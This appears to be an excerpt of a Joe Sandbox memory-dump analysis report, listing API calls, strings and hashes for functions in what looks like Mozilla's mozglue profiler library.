Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4811b2612b56ad80a5eea976bedaedfe7f280025bfb9a896109e5c7ef3cdc770
Instruction ID: 968381a2d1bff8cb723d20d94aeca6746b79a4c554bc71cc2d2a2bf576525613
Opcode Fuzzy Hash: 4811b2612b56ad80a5eea976bedaedfe7f280025bfb9a896109e5c7ef3cdc770
Instruction Fuzzy Hash: 9051DF72A047028FD329CF28C49461AB7E5EFD9718F14CA2ED5A9C7B84D771E841CB51

Function 6CA14630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA14721

Strings

profiler-paused, xrefs: 6CA146E4
-%llu, xrefs: 6CA14733
., xrefs: 6CA1476A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 3562d5af6605748dee3263ca9e820e7a225f52e448756587fc7142b767a0c3a4
Instruction ID: c466889a820c0bfcfdcd25e5d90773789a3503e074468de9d779382ca6658997
Opcode Fuzzy Hash: 3562d5af6605748dee3263ca9e820e7a225f52e448756587fc7142b767a0c3a4
Instruction Fuzzy Hash: 43414471E087099BCB08DF7CD85119EBBE5EB85348F14C62EE859ABB81EB309885C751

Function 6CA146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA14721

Part of subcall function 6C9C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA03EBD,00000017,?,00000000,?,6CA03EBD,?,?,6C9C42D2), ref: 6C9C4444

Strings

profiler-paused, xrefs: 6CA146E4
-%llu, xrefs: 6CA14733
., xrefs: 6CA1476A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: ed1bdcfd20472817002b3ba92f14c4ceb5b52428ef3720f8568f72d3baa540de
Instruction ID: d46904571e224143a18094e207a124906e60ddfa7b42fd0e679bc9ff14010672
Opcode Fuzzy Hash: ed1bdcfd20472817002b3ba92f14c4ceb5b52428ef3720f8568f72d3baa540de
Instruction Fuzzy Hash: 60314B71F082184BCB0CCF6CD89129EBBE6DB98318F18853DE805DBB41EB74D9448B50

Function 6CA1B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA03EBD,6CA03EBD,00000000), ref: 6C9C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA1B127), ref: 6CA1B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA1B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA1B4E4

Strings

pid:, xrefs: 6CA1B4DE

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 25229ec07c97d8216085094b6556dce2d121b70c9bf6cbdca05b35df20649507
Instruction ID: 34df6ec13390019b982170f13ad8bf6ec780f90ce47a6f7cfe21e947364bdbac
Opcode Fuzzy Hash: 25229ec07c97d8216085094b6556dce2d121b70c9bf6cbdca05b35df20649507
Instruction Fuzzy Hash: 173117B1A052049FDB00DFAAE440AEEB7B5FF55318F58462DD41267F41D731E889CBA1

Function 6CA0E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA0E577
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0E584
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA0E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA0E826, 6CA0E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA0E722, 6CA0E750, 6CA0E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA0E777
MOZ_PROFILER_STARTUP, xrefs: 6CA0E5A1, 6CA0E5CC, 6CA0E5FF, 6CA0E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA0E655

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 90ba9c07d6f0f8b3583d243d79dc8bf97e45baf47417a3956d4ca5ba36fd2c09
Instruction ID: 4126b8495a38ba591be8c888daf875d60388f2b2493592a0c82c1823053887b9
Opcode Fuzzy Hash: 90ba9c07d6f0f8b3583d243d79dc8bf97e45baf47417a3956d4ca5ba36fd2c09
Instruction Fuzzy Hash: 5311CE31601345DFCB04AF18D848A6ABBB4FB8936CF44C61DE88247A40DB71A846CBD1

Function 6CA10C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA10CD5

Part of subcall function 6C9FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA10D40
free.MOZGLUE ref: 6CA10DCB

Part of subcall function 6C9E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9E5EDB
Part of subcall function 6C9E5E90: memset.VCRUNTIME140(6CA27765,000000E5,55CCCCCC), ref: 6C9E5F27
Part of subcall function 6C9E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9E5FB2

free.MOZGLUE ref: 6CA10DDD
free.MOZGLUE ref: 6CA10DF2

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d6aebf918f85c03596e509b508843c9befffba3f0bd172ee5bd178783b08a6f
Instruction ID: d0dad90698dc7a507fdc1f7519f9109357b27e8fd222172732654a43307b79f2
Opcode Fuzzy Hash: 0d6aebf918f85c03596e509b508843c9befffba3f0bd172ee5bd178783b08a6f
Instruction Fuzzy Hash: FD41147191D7809BD320CF29C18079AFBE5BF99754F148A2EE8D887B50DB709495CB82

Function 6CA1CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA0DA31,00100000,?,?,00000000,?), ref: 6CA1CDA4

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

Part of subcall function 6CA1D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA1CDBA,00100000,?,00000000,?,6CA0DA31,00100000,?,?,00000000,?), ref: 6CA1D158
Part of subcall function 6CA1D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA1CDBA,00100000,?,00000000,?,6CA0DA31,00100000,?,?,00000000,?), ref: 6CA1D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA0DA31,00100000,?,?,00000000,?), ref: 6CA1CDC4

Part of subcall function 6CA17480: ReleaseSRWLockExclusive.KERNEL32(?,6CA215FC,?,?,?,?,6CA215FC,?), ref: 6CA174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA0DA31,00100000,?,?,00000000,?), ref: 6CA1CECC

Part of subcall function 6C9DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9DCAA2

Part of subcall function 6CA0CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA1CEEA,?,?,?,?,00000000,?,6CA0DA31,00100000,?,?,00000000), ref: 6CA0CB57
Part of subcall function 6CA0CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA0CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA1CEEA,?,?), ref: 6CA0CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA0DA31,00100000,?,?,00000000,?), ref: 6CA1D058

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 175efe6b67020c1a3f429addd28965dd8184557265e75a320a4a724de8affec8
Instruction ID: 4fae94f1c1a83e9e05a3efa8e9bbb6c7067a1e2669ea13e5fd66642cebb6e044
Opcode Fuzzy Hash: 175efe6b67020c1a3f429addd28965dd8184557265e75a320a4a724de8affec8
Instruction Fuzzy Hash: 4FD18071A04B469FD708CF28C580B99F7F1BF99308F05866DD8598BB11EB31E9A5CB81

Function 6C9D1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9D17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9D18EE
free.MOZGLUE(?), ref: 6C9D1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9D194C

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 82b655a190f06af9f3bc302014a7bda2aea4288043b1f810eba67d445183c57d
Instruction ID: 38cf02726f862ff0c8b83213c9f5e1a6a6e26603be8d95cfc1e97b8f69386ffd
Opcode Fuzzy Hash: 82b655a190f06af9f3bc302014a7bda2aea4288043b1f810eba67d445183c57d
Instruction Fuzzy Hash: A581C171A117059FCB08CF68D8949AEBBB1FF8A324F05856CE815BB750D730E845CBA2

Function 6C9E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C9E5D40
EnterCriticalSection.KERNEL32(6CA4F688), ref: 6C9E5D67
__aulldiv.LIBCMT ref: 6C9E5DB4
LeaveCriticalSection.KERNEL32(6CA4F688), ref: 6C9E5DED

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 614a1a7cc437088bf48588155a2bd743afb66361b0553b69f81e5561631a65f9
Instruction ID: 888894f3d465588b5b7d9baba18f0edcd1f3e31b06f40d68dfc2e1c1053d8f48
Opcode Fuzzy Hash: 614a1a7cc437088bf48588155a2bd743afb66361b0553b69f81e5561631a65f9
Instruction Fuzzy Hash: E8513A71E0025A8FCF08DF68C855AAEFBB2BF99308F19C61DC815A7750C771A946CB90

Function 6C9CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C9CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C9CCF4E

Strings

0, xrefs: 6C9CCF30

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0cdf1a5fc5001f33e52cfb93eccf2691d6a7b48f20c671f7d9a1ed5802f74620
Instruction ID: 8dcf518e04fac8a064f3da375243e50660e4d8bbb9150d821e47fac17c1bc673
Opcode Fuzzy Hash: 0cdf1a5fc5001f33e52cfb93eccf2691d6a7b48f20c671f7d9a1ed5802f74620
Instruction Fuzzy Hash: 9E512471A0022A8FCB00CF18C890A9AFBB5EF99304F19829DD8595F352D331ED06CBE1

Function 6CA277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CA27829

Part of subcall function 6C9FCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9C31A7), ref: 6C9FCC45
Part of subcall function 6C9FCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9C31A7), ref: 6C9FCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA2789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA278CF

Part of subcall function 6C9C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9C4E5A
Part of subcall function 6C9C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C9C4E97

Part of subcall function 6C9C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA03EBD,6CA03EBD,00000000), ref: 6C9C42A9

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 4c205da1b9f1be082edd3d193ccc433b9465c05d8f57cc76093118b43cc2ca08
Instruction ID: 2e1810b32437f67309b4c9734bd24072a419f52a6b42b299f16c1815b32de6be
Opcode Fuzzy Hash: 4c205da1b9f1be082edd3d193ccc433b9465c05d8f57cc76093118b43cc2ca08
Instruction Fuzzy Hash: 5D41A171A047469BD300DF29C48056BFBF4FFDA354F204A2DE4A987640DB71D59ACB92

Function 6CA06470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA082BC,?,?), ref: 6CA0649B

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA064A9

Part of subcall function 6C9FFA80: GetCurrentThreadId.KERNEL32 ref: 6C9FFA8D
Part of subcall function 6C9FFA80: AcquireSRWLockExclusive.KERNEL32(6CA4F448), ref: 6C9FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA0653F
free.MOZGLUE(?), ref: 6CA0655A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 898de9dad1850e8769b231af93cacbbeb15fa8588149076a9a8d91d40b4d04a5
Instruction ID: 57d7bd7f32fd2d677ff72e280be0be8ea2889a432108253547167039039ccc19
Opcode Fuzzy Hash: 898de9dad1850e8769b231af93cacbbeb15fa8588149076a9a8d91d40b4d04a5
Instruction Fuzzy Hash: E8318FB5A043159FC704DF24D884A9EBBF4BF99318F40852EE85A97740EB30F959CB92

Function 6C9FFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CA1D019,?,?,?,?,?,00000000,?,6CA0DA31,00100000,?), ref: 6C9FFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CA1D019,?,?,?,?,?,00000000,?,6CA0DA31,00100000,?,?), ref: 6C9FFFF5
free.MOZGLUE(?,?,?,?,?,6CA1D019,?,?,?,?,?,00000000,?,6CA0DA31,00100000,?), ref: 6CA0001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CA1D019,?,?,?,?,?,00000000,?,6CA0DA31,00100000,?,?), ref: 6CA0002A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: af3c89b66355c326c4a69d0bd7ec63b622c1891dbb6b5871990147463f526d40
Instruction ID: cd7bfb07df810a0ca431a5b0768fa6db2f5c15563dbb09e28d2346bfbd2e22c2
Opcode Fuzzy Hash: af3c89b66355c326c4a69d0bd7ec63b622c1891dbb6b5871990147463f526d40
Instruction Fuzzy Hash: 1F210872B002155FD7089E78AC944AFB7FAFB953283254338E425D7780EA30DD5683D1

Function 6C9DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9DB4F5
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6C9DB502
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6C9DB542
free.MOZGLUE(?), ref: 6C9DB578

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6b56936853c74808760a140512b635bce604b543dec0b3185f9aa54d48941de1
Instruction ID: da906253a8c9b84fccf6aa834d6f7272484ce949338b73bf078cf22a93a27937
Opcode Fuzzy Hash: 6b56936853c74808760a140512b635bce604b543dec0b3185f9aa54d48941de1
Instruction Fuzzy Hash: BC11AE31A14F42C7D7129F29D800765B3B5FFA6318F11D70ED84963A01EBB1F1C58690

Function 6CA03DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C9CF20E,?), ref: 6CA03DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C9CF20E,00000000,?), ref: 6CA03DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA03E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA03E0E

Part of subcall function 6C9FCC00: GetCurrentProcess.KERNEL32(?,?,6C9C31A7), ref: 6C9FCC0D
Part of subcall function 6C9FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9C31A7), ref: 6C9FCC16

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 598434d94751ae50f0ea2a1c4c6c23e6751b378012692987ab4cce4d2485ccd4
Instruction ID: a6ec1803be59d4669958d19fc209f26cd0bd113ff58601293944c57e52fb9ca3
Opcode Fuzzy Hash: 598434d94751ae50f0ea2a1c4c6c23e6751b378012692987ab4cce4d2485ccd4
Instruction Fuzzy Hash: 3EF05E71A002097BD704AB54EC41DAB376DEB46628F048020FD0C57701D636B95A86F6

Function 6CA120B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA120B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C9FFBD1), ref: 6CA120C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C9FFBD1), ref: 6CA120DA
free.MOZGLUE(00000000,?,6C9FFBD1), ref: 6CA120F1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

